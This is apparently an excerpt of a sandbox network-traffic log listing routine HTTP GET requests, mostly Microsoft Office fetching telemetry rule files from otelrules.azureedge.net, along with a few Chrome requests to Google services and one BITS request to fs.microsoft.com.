Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
